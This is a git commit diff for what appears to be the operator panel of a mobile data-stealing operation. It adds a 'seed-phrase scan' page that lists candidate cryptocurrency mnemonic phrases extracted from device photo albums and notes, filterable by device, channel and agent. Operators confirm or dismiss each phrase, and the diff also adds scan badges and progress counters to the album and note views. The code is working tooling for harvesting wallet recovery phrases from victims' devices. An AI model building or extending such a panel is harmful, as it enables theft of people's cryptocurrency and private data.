feat: scan
This commit is contained in:
File diff suppressed because it is too large
Load Diff
@@ -24,6 +24,12 @@
|
||||
.photo-card img{width:100%;height:120px;object-fit:cover;background:#eee}
|
||||
.photo-thumb{position:relative;display:inline-block}
|
||||
.photo-unread-dot{position:absolute;top:2px;right:2px;width:8px;height:8px;border-radius:50%;background:#ff5722}
|
||||
.scan-badge{position:absolute;left:8px;top:8px;font-size:11px;line-height:16px;padding:0 5px;border-radius:2px;color:#fff;background:#909399}
|
||||
.scan-badge-1{background:#16b777}
|
||||
.scan-badge-2{background:#ff5722}
|
||||
.scan-badge-3{background:#16b777}
|
||||
.scan-badge-4{background:#c2c2c2}
|
||||
.scan-progress{color:#666;font-size:13px;margin:0 0 10px}
|
||||
.note-card{background:#fff;border:1px solid #eee;border-radius:4px;padding:12px 14px;margin-bottom:10px}
|
||||
.note-card-title{font-weight:600;margin-bottom:8px;word-break:break-word;color:#333}
|
||||
.note-card-body{margin:0;white-space:pre-wrap;word-break:break-word;font-family:inherit;font-size:13px;line-height:1.55;color:#333}
|
||||
|
||||
@@ -264,10 +264,12 @@
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div id="LAY-photo-scan" class="scan-progress">扫描进度:—</div>
|
||||
<div id="LAY-photo-grid" class="photo-grid"></div>
|
||||
<div id="LAY-photo-empty" style="display:none;color:#999;padding:12px 0;">暂无相册</div>
|
||||
<div id="LAY-photo-page" style="margin-top: 16px; text-align: right;"></div>
|
||||
@elseif ($tab === 'notes')
|
||||
<div id="LAY-note-scan" class="scan-progress">扫描进度:—</div>
|
||||
<div id="LAY-note-cards"></div>
|
||||
<div id="LAY-note-empty" style="display:none;color:#999;padding:12px 0;">暂无备忘录</div>
|
||||
<div id="LAY-note-page" style="margin-top: 16px; text-align: right;"></div>
|
||||
@@ -412,6 +414,9 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
}, function (res) {
|
||||
var $grid = $('#LAY-photo-grid').empty();
|
||||
var list = (res && res.data) ? res.data : [];
|
||||
if (res && res.scan) {
|
||||
$('#LAY-photo-scan').text('相册扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
|
||||
}
|
||||
if (!list.length) {
|
||||
$('#LAY-photo-empty').show();
|
||||
} else {
|
||||
@@ -421,6 +426,7 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
var card = $(
|
||||
'<a class="photo-card" href="javascript:;">' +
|
||||
(Number(p.read) === 1 ? '' : '<i class="photo-unread-dot" title="未读"></i>') +
|
||||
'<span class="scan-badge scan-badge-' + Number(p.scan_status || 0) + '">' + (p.scan_label || '未扫') + '</span>' +
|
||||
'<img alt="">' +
|
||||
'<div></div>' +
|
||||
'<div class="muted" style="font-size:12px;color:#888;"></div>' +
|
||||
@@ -531,13 +537,16 @@ layui.use(['table', 'form', 'laypage', 'layer'], function () {
|
||||
}, function (res) {
|
||||
var $list = $('#LAY-note-cards').empty();
|
||||
var items = (res && res.data) ? res.data : [];
|
||||
if (res && res.scan) {
|
||||
$('#LAY-note-scan').text('备忘录扫描:' + res.scan.scanned + '/' + res.scan.total + ' 已扫 · ' + res.scan.suspected + ' 疑似 · ' + res.scan.confirmed + ' 确定');
|
||||
}
|
||||
if (!items.length) {
|
||||
$('#LAY-note-empty').show();
|
||||
} else {
|
||||
$('#LAY-note-empty').hide();
|
||||
items.forEach(function (it) {
|
||||
var $card = $('<div class="note-card"></div>');
|
||||
$card.append($('<div class="note-card-title"></div>').text(it.title || '无标题'));
|
||||
$card.append($('<div class="note-card-title"></div>').text((it.scan_label ? ('[' + it.scan_label + '] ') : '') + (it.title || '无标题')));
|
||||
$card.append($('<pre class="note-card-body"></pre>').text(it.body || ''));
|
||||
$list.append($card);
|
||||
});
|
||||
|
||||
@@ -0,0 +1,192 @@
|
||||
@extends('admin.content')
|
||||
|
||||
@section('title', '助记词扫描')
|
||||
|
||||
@section('content')
|
||||
@php $portal = $portal ?? 'admin'; @endphp
|
||||
<style>
|
||||
.scan-bar { display:flex; gap:16px; flex-wrap:wrap; margin-bottom:12px; }
|
||||
.scan-tile { background:#f8f8f8; border-radius:4px; padding:10px 14px; min-width:220px; }
|
||||
.scan-tile strong { font-size:18px; }
|
||||
.scan-sus { color:#ff5722; font-weight:600; }
|
||||
.scan-ok { color:#16b777; font-weight:600; }
|
||||
</style>
|
||||
<div class="layui-card">
|
||||
<div class="layui-card-header">扫描进度</div>
|
||||
<div class="layui-card-body">
|
||||
<div class="scan-bar">
|
||||
<div class="scan-tile">
|
||||
<div>相册</div>
|
||||
<strong>{{ $photoProgress['scanned'] ?? 0 }} / {{ $photoProgress['total'] ?? 0 }}</strong>
|
||||
<div>已扫 / 总数 · 疑似 {{ $photoProgress['suspected'] ?? 0 }} · 确定 {{ $photoProgress['confirmed'] ?? 0 }}</div>
|
||||
</div>
|
||||
<div class="scan-tile">
|
||||
<div>备忘录</div>
|
||||
<strong>{{ $noteProgress['scanned'] ?? 0 }} / {{ $noteProgress['total'] ?? 0 }}</strong>
|
||||
<div>已扫 / 总数 · 疑似 {{ $noteProgress['suspected'] ?? 0 }} · 确定 {{ $noteProgress['confirmed'] ?? 0 }}</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-card">
|
||||
<form class="layui-form layui-card-header layuiadmin-card-header-auto" lay-filter="LAY-find-search">
|
||||
<div class="layui-form-item">
|
||||
@include('admin.partials.filter_channel_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">设备 ID</label>
|
||||
<div class="layui-input-block">
|
||||
<input type="text" name="device_key" class="layui-input" autocomplete="off">
|
||||
</div>
|
||||
</div>
|
||||
@include('admin.partials.filter_agent_select')
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">状态</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="status">
|
||||
<option value="" selected>全部</option>
|
||||
<option value="suspected">疑似</option>
|
||||
<option value="confirmed">确定含有</option>
|
||||
<option value="dismissed">已排除</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<label class="layui-form-label">来源</label>
|
||||
<div class="layui-input-block">
|
||||
<select name="source">
|
||||
<option value="">全部</option>
|
||||
<option value="photo">相册</option>
|
||||
<option value="note">备忘录</option>
|
||||
</select>
|
||||
</div>
|
||||
</div>
|
||||
<div class="layui-inline">
|
||||
<button class="layui-btn" lay-submit lay-filter="LAY-find-search">搜索</button>
|
||||
</div>
|
||||
</div>
|
||||
</form>
|
||||
<div class="layui-card-body">
|
||||
<table id="LAY-find-list" lay-filter="LAY-find-list"></table>
|
||||
<script type="text/html" id="LAY-find-thumb">
|
||||
@{{# if(!d.photo_url){ }}—@{{# } else { }}
|
||||
<img src="@{{d.photo_url}}" lay-event="preview" title="点击预览" style="max-height:48px;max-width:72px;cursor:pointer;">
|
||||
@{{# } }}
|
||||
</script>
|
||||
<script type="text/html" id="LAY-find-ops">
|
||||
@{{# if(d.status === 'suspected'){ }}
|
||||
<a class="layui-btn layui-btn-xs" lay-event="confirm">确定含有</a>
|
||||
<a class="layui-btn layui-btn-primary layui-btn-xs" lay-event="dismiss">排除</a>
|
||||
@{{# } }}
|
||||
<a class="layui-btn layui-btn-normal layui-btn-xs" lay-event="detail">设备详情</a>
|
||||
</script>
|
||||
</div>
|
||||
</div>
|
||||
@endsection
|
||||
|
||||
@push('scripts')
|
||||
<script>
|
||||
layui.use(['table', 'form', 'layer'], function () {
|
||||
var table = layui.table, form = layui.form, layer = layui.layer, $ = layui.$;
|
||||
var token = @json(csrf_token());
|
||||
var actionBase = @json(url('/'.$portal.'/findings'));
|
||||
|
||||
if (window.CorunaFilterOptions) CorunaFilterOptions.apply(form);
|
||||
|
||||
table.render({
|
||||
elem: '#LAY-find-list',
|
||||
id: 'LAY-find-list',
|
||||
url: @json(route($portal.'.findings.data')),
|
||||
where: { status: '' },
|
||||
cols: [[
|
||||
{ field: 'id', title: 'ID', width: 70 },
|
||||
{ field: 'source', title: '来源', width: 80 },
|
||||
{ title: '预览', width: 90, templet: '#LAY-find-thumb' },
|
||||
{ field: 'candidate', title: '候选助记词', minWidth: 360 },
|
||||
{ field: 'excerpt', title: '原文摘录', minWidth: 220 },
|
||||
{ field: 'word_count', title: '词数', width: 70 },
|
||||
{ field: 'status_label', title: '状态', width: 100, templet: function (d) {
|
||||
if (d.status === 'confirmed') return '<span class="scan-ok">确定含有</span>';
|
||||
if (d.status === 'dismissed') return '已排除';
|
||||
return '<span class="scan-sus">疑似</span>';
|
||||
}},
|
||||
{ field: 'device_key', title: '设备 ID', width: 150 },
|
||||
{ field: 'channel_id', title: '渠道', width: 140 },
|
||||
{ field: 'created_at', title: '时间', width: 170 },
|
||||
{ title: '操作', width: 220, align: 'center', fixed: 'right', toolbar: '#LAY-find-ops' }
|
||||
]],
|
||||
page: true, limit: 20, limits: [10, 20, 30, 50],
|
||||
request: { pageName: 'page', limitName: 'limit' },
|
||||
response: { statusName: 'code', statusCode: 0, msgName: 'msg', countName: 'count', dataName: 'data' }
|
||||
});
|
||||
|
||||
form.on('submit(LAY-find-search)', function (data) {
|
||||
table.reload('LAY-find-list', { where: data.field, page: { curr: 1 } });
|
||||
return false;
|
||||
});
|
||||
|
||||
function openDeviceTab(url, title) {
|
||||
try {
|
||||
if (parent && parent.layui && parent.layui.index) {
|
||||
parent.layui.index.openTabsPage(url, title);
|
||||
return;
|
||||
}
|
||||
} catch (e) {}
|
||||
location.href = url;
|
||||
}
|
||||
|
||||
table.on('tool(LAY-find-list)', function (obj) {
|
||||
var d = obj.data;
|
||||
if (obj.event === 'preview') {
|
||||
if (!d.photo_url) return;
|
||||
layer.open({
|
||||
type: 1,
|
||||
title: '照片预览 #' + d.id,
|
||||
area: ['80%', '80%'],
|
||||
shadeClose: true,
|
||||
content: '<div style="padding:12px;text-align:center;height:100%;box-sizing:border-box;overflow:auto;">' +
|
||||
'<img src="' + d.photo_url + '" style="max-width:100%;max-height:100%;">' +
|
||||
'</div>'
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'detail') {
|
||||
openDeviceTab(d.detail_url, '设备 ' + (d.device_key || ('#' + d.id)));
|
||||
return;
|
||||
}
|
||||
if (obj.event === 'dismiss') {
|
||||
layer.confirm('排除这条疑似结果?', { icon: 3 }, function (idx) {
|
||||
layer.close(idx);
|
||||
postFinding(d.id, 'dismiss', {});
|
||||
});
|
||||
return;
|
||||
}
|
||||
if (obj.event !== 'confirm') return;
|
||||
layer.prompt({
|
||||
formType: 2,
|
||||
title: '确认候选助记词(可修改,须为合法助记词)',
|
||||
value: d.candidate || '',
|
||||
area: ['560px', '160px']
|
||||
}, function (value, promptIdx) {
|
||||
postFinding(d.id, 'confirm', { candidate: value }, promptIdx);
|
||||
});
|
||||
});
|
||||
|
||||
function postFinding(id, action, extra, promptIdx) {
|
||||
$.ajax({
|
||||
url: actionBase + '/' + id + '/' + action,
|
||||
method: 'POST',
|
||||
data: Object.assign({ _token: token }, extra || {}),
|
||||
success: function (res) {
|
||||
if (res.code !== 0) return layer.msg(res.msg || '失败');
|
||||
if (promptIdx) layer.close(promptIdx);
|
||||
layer.msg('已处理');
|
||||
table.reload('LAY-find-list');
|
||||
},
|
||||
error: function (xhr) {
|
||||
layer.msg((xhr.responseJSON && xhr.responseJSON.msg) || '失败');
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
</script>
|
||||
@endpush
|
||||
@@ -107,6 +107,9 @@
|
||||
<dd data-name="notes">
|
||||
<a lay-href="{{ route('admin.notes.index') }}">备忘录</a>
|
||||
</dd>
|
||||
<dd data-name="findings">
|
||||
<a lay-href="{{ route('admin.findings.index') }}">助记词扫描</a>
|
||||
</dd>
|
||||
<dd data-name="whatsapp">
|
||||
<a lay-href="{{ route('admin.whatsapp.index') }}">WS 参数</a>
|
||||
</dd>
|
||||
|
||||
@@ -99,6 +99,9 @@
|
||||
<dd data-name="notes">
|
||||
<a lay-href="{{ route('user.notes.index') }}">备忘录</a>
|
||||
</dd>
|
||||
<dd data-name="findings">
|
||||
<a lay-href="{{ route('user.findings.index') }}">助记词扫描</a>
|
||||
</dd>
|
||||
<dd data-name="whatsapp">
|
||||
<a lay-href="{{ route('user.whatsapp.index') }}">WS 参数</a>
|
||||
</dd>
|
||||
|
||||
Reference in New Issue
Block a user